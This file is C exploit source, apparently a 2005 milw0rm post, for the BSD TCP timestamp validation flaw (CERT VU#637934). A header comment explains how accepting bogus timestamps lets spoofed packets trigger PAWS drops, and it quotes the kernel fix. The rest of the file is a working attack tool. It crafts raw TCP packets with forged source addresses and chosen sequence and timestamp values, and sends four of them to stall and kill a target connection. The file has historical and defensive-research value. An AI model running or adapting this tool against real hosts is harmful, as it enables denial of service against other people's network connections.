lilbool/vuln-code-analysis
0
1/*
2* TCP does not adequately validate segments before updating timestamp value
3* http://www.kb.cert.org/vuls/id/637934
4*
5* RFC-1323 (TCP Extensions for High Performance)
6*
7* 4.2.1 defines how the PAWS algorithm should drop packets with invalid
8* timestamp options:
9*
10* R1) If there is a Timestamps option in the arriving segment
11* and SEG.TSval < TS.Recent and if TS.Recent is valid (see
12* later discussion), then treat the arriving segment as not
13* acceptable:
14*
15* Send an acknowledgement in reply as specified in
16* RFC-793 page 69 and drop the segment.
17*
18* 3.4 defines what timestamp options to accept:
19*
20* (2) If Last.ACK.sent falls within the range of sequence numbers
21* of an incoming segment:
22*
23* SEG.SEQ <= Last.ACK.sent < SEG.SEQ + SEG.LEN
24*
25* then the TSval from the segment is copied to TS.Recent;
26* otherwise, the TSval is ignored.
27*
28* http://community.roxen.com/developers/idocs/drafts/
29* draft-jacobson-tsvwg-1323bis-00.html
30*
31* 3.4 suggests an slightly different check like
32*
33* (2) If: SEG.TSval >= TSrecent and SEG.SEQ <= Last.ACK.sent
34* then SEG.TSval is copied to TS.Recent; otherwise, it is
35* ignored.
36*
37* and explains this change
38*
39* APPENDIX C: CHANGES FROM RFC-1072, RFC-1185, RFC-1323
40*
41* There are additional changes in this document from RFC-1323.
42* These changes are:
43* (b) In RFC-1323, section 3.4, step (2) of the algorithm to control
44* which timestamp is echoed was incorrect in two regards:
45* (1) It failed to update TSrecent for a retransmitted segment
46* that resulted from a lost ACK.
47* (2) It failed if SEG.LEN = 0.
48* In the new algorithm, the case of SEG.TSval = TSrecent is
49* included for consistency with the PAWS test.
50*
51* At least OpenBSD and FreeBSD contain this code instead:
52*
53* sys/netinet/tcp_input.c tcp_input()
54*
55* **
56* * If last ACK falls within this segment's sequence numbers,
57* * record its timestamp.
58* * NOTE that the test is modified according to the latest
59* * proposal of the tcplw@cray.com list (Braden 1993/04/26).
60* **
61* if ((to.to_flags & TOF_TS) != 0 &&
62* SEQ_LEQ(th->th_seq, tp->last_ack_sent)) {
63* tp->ts_recent_age = ticks;
64* tp->ts_recent = to.to_tsval;
65* }
66*
67* The problem here is that the packet the timestamp is accepted from doesn't
68* need to have a valid th_seq or th_ack. This point of execution is reached
69* for packets with arbitrary th_ack values and th_seq values of half the
70* possible value range, because the first 'if (todrop > tlen)' check in the
71* function explicitely continues execution to process ACKs.
72*
73* If an attacker knows (or guesses) the source and destination addresses and
74* ports of a connection between two peers, he can send spoofed TCP packets
75* to either peer containing bogus timestamp options. Since half of the
76* possible th_seq and timestamp values are accepted, four packets containing
77* two random values and their integer wraparound opposites are sufficient to
78* get one random timestamp accepted by the receipient. Further packets from
79* the real peer will get dropped by PAWS, and the TCP connection stalls and
80* times out.
81*
82* The following change reverts the tcp_input() check back to the implemented
83* suggested by draft-jacobson-tsvwg-1323bis-00.txt
84*
85* if (opti.ts_present && TSTMP_GEQ(opti.ts_val, tp->ts_recent) &&
86* SEQ_LEQ(th->th_seq, tp->last_ack_sent)) {
87* + if (SEQ_LEQ(tp->last_ack_sent, th->th_seq + tlen +
88* + ((tiflags & (TH_SYN|TH_FIN)) != 0)))
89* + tp->ts_recent = opti.ts_val;
90* + else
91* + tp->ts_recent = 0;
92* tp->ts_recent_age = tcp_now;
93* - tp->ts_recent = opti.ts_val;
94* }
95*
96* I can't find Braden's proposal referenced in the comment. It seems to
97* pre-date draft-jacobson-tsvwg-1323bis-00.txt and might be outdated by
98* it.
99*
100* Fri Mar 11 02:33:36 MET 2005 Daniel Hartmeier <daniel@benzedrine.cx>
101*
102* http://www.openbsd.org/cgi-bin/cvsweb/src/sys/netinet/tcp_input.c.diff\
103* ?r1=1.184&r2=1.185&f=h
104*
105* http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/netinet/tcp_input.c.diff\
106* ?r1=1.252.2.15&r2=1.252.2.16&f=h
107*
108*/
109
110#include <stdio.h>
111#include <stdlib.h>
112#include <sys/socket.h>
113#include <net/if.h>
114#ifdef __FreeBSD__
115#include <net/if_var.h>
116#endif
117#include <netinet/in.h>
118#include <netinet/in_var.h>
119#include <netinet/in_systm.h>
120#include <netinet/ip.h>
121#include <netinet/tcp.h>
122
123static u_int16_t
124checksum(u_int16_t *data, u_int16_t length)
125{
126u_int32_t value = 0;
127u_int16_t i;
128
129for (i = 0; i < (length >> 1); ++i)
130value += data[i];
131if ((length & 1) == 1)
132value += (data[i] << 8);
133value = (value & 65535) + (value >> 16);
134return (~value);
135}
136
137static int
138send_tcp(int sock, u_int32_t saddr, u_int32_t daddr, u_int16_t sport,
139u_int16_t dport, u_int32_t seq, u_int32_t ts)
140{
141u_char packet[1600];
142struct tcphdr *tcp;
143struct ip *ip;
144unsigned char *opt;
145int optlen, len, r;
146struct sockaddr_in sin;
147
148memset(packet, 0, sizeof(packet));
149
150opt = packet + sizeof(struct ip) + sizeof(struct tcphdr);
151optlen = 0;
152opt[optlen++] = TCPOPT_NOP;
153opt[optlen++] = TCPOPT_NOP;
154opt[optlen++] = TCPOPT_TIMESTAMP;
155opt[optlen++] = 10;
156ts = htonl(ts);
157memcpy(opt + optlen, &ts, sizeof(ts));
158optlen += sizeof(ts);
159ts = htonl(0);
160memcpy(opt + optlen, &ts, sizeof(ts));
161optlen += sizeof(ts);
162
163len = sizeof(struct ip) + sizeof(struct tcphdr) + optlen;
164
165ip = (struct ip *)packet;
166ip->ip_src.s_addr = saddr;
167ip->ip_dst.s_addr = daddr;
168ip->ip_p = IPPROTO_TCP;
169ip->ip_len = htons(sizeof(struct tcphdr) + optlen);
170
171tcp = (struct tcphdr *)(packet + sizeof(struct ip));
172tcp->th_sport = htons(sport);
173tcp->th_dport = htons(dport);
174tcp->th_seq = htonl(seq);
175tcp->th_ack = 0;
176tcp->th_off = (sizeof(struct tcphdr) + optlen) / 4;
177tcp->th_flags = 0;
178tcp->th_win = htons(16384);
179tcp->th_sum = 0;
180tcp->th_urp = 0;
181
182tcp->th_sum = checksum((u_int16_t *)ip, len);
183
184ip->ip_v = 4;
185ip->ip_hl = 5;
186ip->ip_tos = 0;
187ip->ip_len = htons(len);
188ip->ip_id = htons(arc4random() % 65536);
189ip->ip_off = 0;
190ip->ip_ttl = 64;
191
192sin.sin_family = AF_INET;
193sin.sin_addr.s_addr = saddr;
194
195r = sendto(sock, packet, len, 0, (struct sockaddr *)&sin, sizeof(sin));
196if (r != len) {
197perror("sendto");
198return (1);
199}
200
201return (0);
202}
203
204static u_int32_t
205op(u_int32_t u)
206{
207return (u_int32_t)(((u_int64_t)u + 2147483648UL) % 4294967296ULL);
208}
209
210int main(int argc, char *argv[])
211{
212u_int32_t saddr, daddr, seq, ts;
213u_int16_t sport, dport;
214int sock, i;
215
216if (argc != 5) {
217fprintf(stderr, "usage: %s <src ip> <src port> "
218"<dst ip> <dst port>\n", argv[0]);
219return (1);
220}
221
222saddr = inet_addr(argv[1]);
223daddr = inet_addr(argv[3]);
224sport = atoi(argv[2]);
225dport = atoi(argv[4]);
226
227sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
228if (sock < 0) {
229perror("socket");
230return (1);
231}
232i = 1;
233if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) == -1) {
234perror("setsockopt");
235close(sock);
236return (1);
237}
238
239seq = arc4random();
240ts = arc4random();
241if (send_tcp(sock, saddr, daddr, sport, dport, seq, ts) ||
242send_tcp(sock, saddr, daddr, sport, dport, seq, op(ts)) ||
243send_tcp(sock, saddr, daddr, sport, dport, op(seq), ts) ||
244send_tcp(sock, saddr, daddr, sport, dport, op(seq), op(ts))) {
245fprintf(stderr, "failed\n");
246close(sock);
247return (1);
248}
249
250close(sock);
251printf("done\n");
252return (0);
253}
254
255// milw0rm.com [2005-05-21]